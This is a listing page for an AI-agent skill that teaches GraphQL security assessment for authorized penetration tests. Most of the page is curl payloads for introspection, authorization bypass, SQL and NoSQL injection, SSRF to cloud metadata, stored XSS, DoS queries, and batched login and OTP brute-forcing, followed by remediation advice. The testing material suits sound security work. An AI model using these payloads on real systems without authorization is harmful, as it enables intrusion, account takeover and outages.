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performing-graphql-security-assessment

Name: performing-graphql-security-assessment
Rating: 4.2 (5 reviews)
Author: mukul975

mukul975/performing-graphql-security-assessment · Agent Skill (multi-file)

by mukul975 · bundle

Published Jul 5, 2026 · Last updated Jul 6, 2026

Assess GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests.

SKILL.md

Performing GraphQL Security Assessment

When to Use

During authorized penetration tests when the target application uses a GraphQL API
When assessing single-page applications (React, Vue, Angular) that communicate via GraphQL
For evaluating mobile app backends that expose GraphQL endpoints
When testing microservice architectures with a GraphQL gateway or federation
During bug bounty programs targeting GraphQL-based APIs

Prerequisites

Authorization: Written penetration testing agreement for the target
Burp Suite Professional: With InQL extension for GraphQL scanning
GraphQL Voyager: Schema visualization tool
InQL Scanner: Burp extension for GraphQL introspection and query generation
Altair GraphQL Client: Desktop GraphQL client for interactive testing
clairvoyance: GraphQL schema enumeration when introspection is disabled
curl: For manual GraphQL query submission

Workflow

Step 1: Discover and Fingerprint GraphQL Endpoints

Locate GraphQL endpoints and confirm GraphQL is running.

# Common GraphQL endpoint paths
for path in graphql graphiql playground query gql api/graphql \
  v1/graphql v2/graphql graphql/console; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' \
    "https://target.example.com/$path")
  echo "$path: $status"
done

# Check for GraphQL IDEs (GraphiQL, Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"

# Fingerprint GraphQL engine
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' \
  "https://target.example.com/graphql"
# Response varies by engine: Apollo returns "Query", Hasura returns "query_root"

# Check for WebSocket GraphQL subscriptions
# ws://target.example.com/graphql (or wss://)

Step 2: Perform Schema Introspection

Extract the full GraphQL schema to understand the API surface.

# Full introspection query
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
  "https://target.example.com/graphql" | jq .

# Comprehensive introspection query
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
  "https://target.example.com/graphql" | jq . > schema.json

# If introspection is disabled, use clairvoyance for schema enumeration
python3 -m clairvoyance \
  -u "https://target.example.com/graphql" \
  -w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
  -o discovered-schema.json

# Visualize the schema using GraphQL Voyager
# Upload schema.json to https://graphql-kit.com/graphql-voyager/

Step 3: Test Authorization on Queries and Mutations

Verify that access control is enforced at the field and object level.

# Test querying all users (should require admin)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ users { id email role passwordHash } }"}' \
  "https://target.example.com/graphql" | jq .

# Test accessing sensitive fields on own user
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
  "https://target.example.com/graphql" | jq .

# Test mutation authorization (admin-only actions with user token)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
  "https://target.example.com/graphql" | jq .

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
  "https://target.example.com/graphql" | jq .

# Test without any authentication
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { id email } }"}' \
  "https://target.example.com/graphql" | jq .

Step 4: Test for Injection Vulnerabilities

Assess GraphQL queries for SQL injection, NoSQL injection, and other injection types.

# SQL injection in GraphQL arguments
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# NoSQL injection (MongoDB)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# Test for SSRF via GraphQL
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
  "https://target.example.com/graphql" | jq .

# Test for stored XSS via mutations
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
  "https://target.example.com/graphql" | jq .

# GraphQL directive injection
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
  "https://target.example.com/graphql" | jq .

Step 5: Test for Denial of Service Attacks

Assess query complexity limits and resource consumption controls.

# Deep nesting attack (query depth)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
  "https://target.example.com/graphql" | jq .

# Width attack (requesting many fields)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
  "https://target.example.com/graphql" | jq .

# Batch query attack
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
  "https://target.example.com/graphql" | jq .

# Fragment-based circular reference
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
  "https://target.example.com/graphql" | jq .

# Test for unbounded pagination
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(first: 1000000) { id email } }"}' \
  "https://target.example.com/graphql" | jq '.data.users | length'

Step 6: Test Batching for Authentication Bypass

Use query batching to brute-force credentials or bypass rate limiting.

# Batch login attempts to bypass rate limiting
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# Batch OTP verification attempts
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# Alias-based batching (same operation, different aliases)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
  "https://target.example.com/graphql" | jq .

Key Concepts

Concept	Description
Introspection	GraphQL feature that exposes the full schema, types, fields, and mutations
Query Depth	The nesting level of a GraphQL query; deep queries can cause DoS
Query Complexity	A score calculated from the cost of resolving each field in a query
Batching	Sending multiple queries in a single HTTP request for parallel execution
Aliases	GraphQL feature allowing the same field to be queried multiple times with different arguments
Fragments	Reusable field selections that can cause circular references if not validated
N+1 Problem	Unoptimized resolvers causing exponential database queries for nested fields
Field-level Authorization	Access control applied to individual fields rather than entire types

Tools & Systems

Tool	Purpose
InQL (Burp Extension)	GraphQL introspection scanner and query generator for Burp Suite
GraphQL Voyager	Interactive schema visualization tool
Altair GraphQL Client	Desktop GraphQL IDE for crafting and testing queries
clairvoyance	Schema enumeration when introspection is disabled
graphql-cop	GraphQL security auditing tool (`pip install graphql-cop`)
BatchQL	GraphQL batching attack tool for rate limit bypass

Common Scenarios

Scenario 1: Introspection Exposes Internal Schema

Introspection is enabled in production, revealing internal types like AdminSettings, InternalUser, and mutations like deleteAllUsers. This provides a complete roadmap for further attacks.

Scenario 2: Missing Field-Level Authorization

The User type exposes passwordHash, ssn, and internalNotes fields. While the frontend only queries name and email, any authenticated user can request sensitive fields directly.

Scenario 3: Batch Login Bypass

The GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.

Scenario 4: Nested Query DoS

A social network API allows querying friends { friends { friends { ... } } } up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.

Output Format

## GraphQL Security Assessment Report

**Target**: https://target.example.com/graphql
**Engine**: Apollo Server 4.x
**Assessment Date**: 2024-01-15

### Findings Summary
| Finding | Severity | Status |
|---------|----------|--------|
| Introspection enabled in production | Medium | VULNERABLE |
| Missing field-level authorization | High | VULNERABLE |
| No query depth limit | High | VULNERABLE |
| Batch query rate limit bypass | High | VULNERABLE |
| GraphiQL IDE exposed | Low | VULNERABLE |
| SQL injection in user query | Critical | VULNERABLE |
| CSRF on mutations | Medium | PASS (custom header required) |

### Critical: SQL Injection via user Query
**Location**: `user(name: String)` query argument
**Payload**: `{ user(name: "' OR 1=1--") { id email role } }`
**Impact**: Full database read access via GraphQL interface

### High: Batch Authentication Bypass
**Location**: POST /graphql (array body)
**Payload**: Array of 100 login mutations in single request
**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request

### Recommendation
1. Disable introspection in production environments
2. Implement field-level authorization on all sensitive fields
3. Set query depth limit (max 7-10 levels)
4. Set query complexity limit and cost analysis
5. Disable or rate-limit batch queries
6. Remove GraphiQL/Playground from production
7. Parameterize all database queries in resolvers

---
name: performing-graphql-security-assessment
description: Assess GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests.
license: Apache-2.0
---

# Performing GraphQL Security Assessment

## When to Use

- During authorized penetration tests when the target application uses a GraphQL API
- When assessing single-page applications (React, Vue, Angular) that communicate via GraphQL
- For evaluating mobile app backends that expose GraphQL endpoints
- When testing microservice architectures with a GraphQL gateway or federation
- During bug bounty programs targeting GraphQL-based APIs

## Prerequisites

- **Authorization**: Written penetration testing agreement for the target
- **Burp Suite Professional**: With InQL extension for GraphQL scanning
- **GraphQL Voyager**: Schema visualization tool
- **InQL Scanner**: Burp extension for GraphQL introspection and query generation
- **Altair GraphQL Client**: Desktop GraphQL client for interactive testing
- **clairvoyance**: GraphQL schema enumeration when introspection is disabled
- **curl**: For manual GraphQL query submission

## Workflow

### Step 1: Discover and Fingerprint GraphQL Endpoints

Locate GraphQL endpoints and confirm GraphQL is running.

```bash
# Common GraphQL endpoint paths
for path in graphql graphiql playground query gql api/graphql \
  v1/graphql v2/graphql graphql/console; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' \
    "https://target.example.com/$path")
  echo "$path: $status"
done

# Check for GraphQL IDEs (GraphiQL, Playground)
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"

# Fingerprint GraphQL engine
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' \
  "https://target.example.com/graphql"
# Response varies by engine: Apollo returns "Query", Hasura returns "query_root"

# Check for WebSocket GraphQL subscriptions
# ws://target.example.com/graphql (or wss://)
```

### Step 2: Perform Schema Introspection

Extract the full GraphQL schema to understand the API surface.

```bash
# Full introspection query
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
  "https://target.example.com/graphql" | jq .

# Comprehensive introspection query
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
  "https://target.example.com/graphql" | jq . > schema.json

# If introspection is disabled, use clairvoyance for schema enumeration
python3 -m clairvoyance \
  -u "https://target.example.com/graphql" \
  -w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
  -o discovered-schema.json

# Visualize the schema using GraphQL Voyager
# Upload schema.json to https://graphql-kit.com/graphql-voyager/
```

### Step 3: Test Authorization on Queries and Mutations

Verify that access control is enforced at the field and object level.

```bash
# Test querying all users (should require admin)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ users { id email role passwordHash } }"}' \
  "https://target.example.com/graphql" | jq .

# Test accessing sensitive fields on own user
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
  "https://target.example.com/graphql" | jq .

# Test mutation authorization (admin-only actions with user token)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
  "https://target.example.com/graphql" | jq .

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
  "https://target.example.com/graphql" | jq .

# Test without any authentication
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { id email } }"}' \
  "https://target.example.com/graphql" | jq .
```

### Step 4: Test for Injection Vulnerabilities

Assess GraphQL queries for SQL injection, NoSQL injection, and other injection types.

```bash
# SQL injection in GraphQL arguments
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# NoSQL injection (MongoDB)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
  "https://target.example.com/graphql" | jq .

# Test for SSRF via GraphQL
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
  "https://target.example.com/graphql" | jq .

# Test for stored XSS via mutations
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
  "https://target.example.com/graphql" | jq .

# GraphQL directive injection
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
  "https://target.example.com/graphql" | jq .
```

### Step 5: Test for Denial of Service Attacks

Assess query complexity limits and resource consumption controls.

```bash
# Deep nesting attack (query depth)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
  "https://target.example.com/graphql" | jq .

# Width attack (requesting many fields)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
  "https://target.example.com/graphql" | jq .

# Batch query attack
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
  "https://target.example.com/graphql" | jq .

# Fragment-based circular reference
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
  "https://target.example.com/graphql" | jq .

# Test for unbounded pagination
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query":"{ users(first: 1000000) { id email } }"}' \
  "https://target.example.com/graphql" | jq '.data.users | length'
```

### Step 6: Test Batching for Authentication Bypass

Use query batching to brute-force credentials or bypass rate limiting.

```bash
# Batch login attempts to bypass rate limiting
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
    {"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# Batch OTP verification attempts
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
    {"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
  ]' \
  "https://target.example.com/graphql" | jq .

# Alias-based batching (same operation, different aliases)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
  "https://target.example.com/graphql" | jq .
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Introspection** | GraphQL feature that exposes the full schema, types, fields, and mutations |
| **Query Depth** | The nesting level of a GraphQL query; deep queries can cause DoS |
| **Query Complexity** | A score calculated from the cost of resolving each field in a query |
| **Batching** | Sending multiple queries in a single HTTP request for parallel execution |
| **Aliases** | GraphQL feature allowing the same field to be queried multiple times with different arguments |
| **Fragments** | Reusable field selections that can cause circular references if not validated |
| **N+1 Problem** | Unoptimized resolvers causing exponential database queries for nested fields |
| **Field-level Authorization** | Access control applied to individual fields rather than entire types |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **InQL (Burp Extension)** | GraphQL introspection scanner and query generator for Burp Suite |
| **GraphQL Voyager** | Interactive schema visualization tool |
| **Altair GraphQL Client** | Desktop GraphQL IDE for crafting and testing queries |
| **clairvoyance** | Schema enumeration when introspection is disabled |
| **graphql-cop** | GraphQL security auditing tool (`pip install graphql-cop`) |
| **BatchQL** | GraphQL batching attack tool for rate limit bypass |

## Common Scenarios

### Scenario 1: Introspection Exposes Internal Schema
Introspection is enabled in production, revealing internal types like `AdminSettings`, `InternalUser`, and mutations like `deleteAllUsers`. This provides a complete roadmap for further attacks.

### Scenario 2: Missing Field-Level Authorization
The `User` type exposes `passwordHash`, `ssn`, and `internalNotes` fields. While the frontend only queries `name` and `email`, any authenticated user can request sensitive fields directly.

### Scenario 3: Batch Login Bypass
The GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.

### Scenario 4: Nested Query DoS
A social network API allows querying `friends { friends { friends { ... } } }` up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.

## Output Format

```
## GraphQL Security Assessment Report

**Target**: https://target.example.com/graphql
**Engine**: Apollo Server 4.x
**Assessment Date**: 2024-01-15

### Findings Summary
| Finding | Severity | Status |
|---------|----------|--------|
| Introspection enabled in production | Medium | VULNERABLE |
| Missing field-level authorization | High | VULNERABLE |
| No query depth limit | High | VULNERABLE |
| Batch query rate limit bypass | High | VULNERABLE |
| GraphiQL IDE exposed | Low | VULNERABLE |
| SQL injection in user query | Critical | VULNERABLE |
| CSRF on mutations | Medium | PASS (custom header required) |

### Critical: SQL Injection via user Query
**Location**: `user(name: String)` query argument
**Payload**: `{ user(name: "' OR 1=1--") { id email role } }`
**Impact**: Full database read access via GraphQL interface

### High: Batch Authentication Bypass
**Location**: POST /graphql (array body)
**Payload**: Array of 100 login mutations in single request
**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request

### Recommendation
1. Disable introspection in production environments
2. Implement field-level authorization on all sensitive fields
3. Set query depth limit (max 7-10 levels)
4. Set query complexity limit and cost analysis
5. Disable or rate-limit batch queries
6. Remove GraphiQL/Playground from production
7. Parameterize all database queries in resolvers
```

Files

This skill is a package of 4 files. Install with the command above, or download the folder.

📄SKILL.md entry
📁references
📄api-reference.md 1.4 KB
📁scripts
⚙️agent.py 7.6 KB
📄LICENSE 11.0 KB

mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/performing-graphql-security-assessment commit · 673da1f3b0

▌
performing-graphql-introspection-attack · mukul975 bundle
Extracts GraphQL API schemas through introspection attacks, identifies sensitive fields and mutations, and tests for query depth and complexity vulnerabilities.

24.6k
repo stars
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conducting-api-security-testing · mukul975 bundle
Conducts security testing of REST, GraphQL, and gRPC APIs to identify vulnerabilities in authentication, authorization, rate limiting, input validation, and business logic using the OWASP API Security Top 10 framework.

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testing-api-security-with-owasp-top-10 · mukul975 bundle
Systematically assess REST and GraphQL API endpoints against the OWASP API Security Top 10 risks using automated and manual testing techniques.

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bola-idor · shulkwisec
Detect and exploit Broken Object Level Authorization (BOLA) and Insecure Direct Object Reference (IDOR) vulnerabilities in APIs and web applications.

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exploiting-api-injection-vulnerabilities · mukul975 bundle
Tests APIs for injection vulnerabilities including SQL, NoSQL, OS command, LDAP, and SSRF through parameters, headers, and request bodies.

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testing-for-xml-injection-vulnerabilities · mukul975 bundle
Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.

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repo stars

Frequently asked questions

How do I install the performing-graphql-security-assessment skill?

Run npx skillmds add mukul975/performing-graphql-security-assessment in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

What does the performing-graphql-security-assessment skill do?

Assess GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests. It is listed under Security, Penetration Testing, Vulnerability Scanning on SkillMD.

Is performing-graphql-security-assessment safe to use?

SkillMD's automated safety review verdict for this skill is CAUTION. Independent scanners report: SkillSpector: CAUTION, Skill Scanner: FAIL. Capability flags: executes scripts, makes network calls, reads secrets. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with performing-graphql-security-assessment?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is performing-graphql-security-assessment free to use?

Yes. Installing skills from SkillMD is free. This skill is licensed under Apache-2.

Who published performing-graphql-security-assessment?

mukul975 (@mukul975) published this skill. Their other Agent Skills are listed on their SkillMD profile.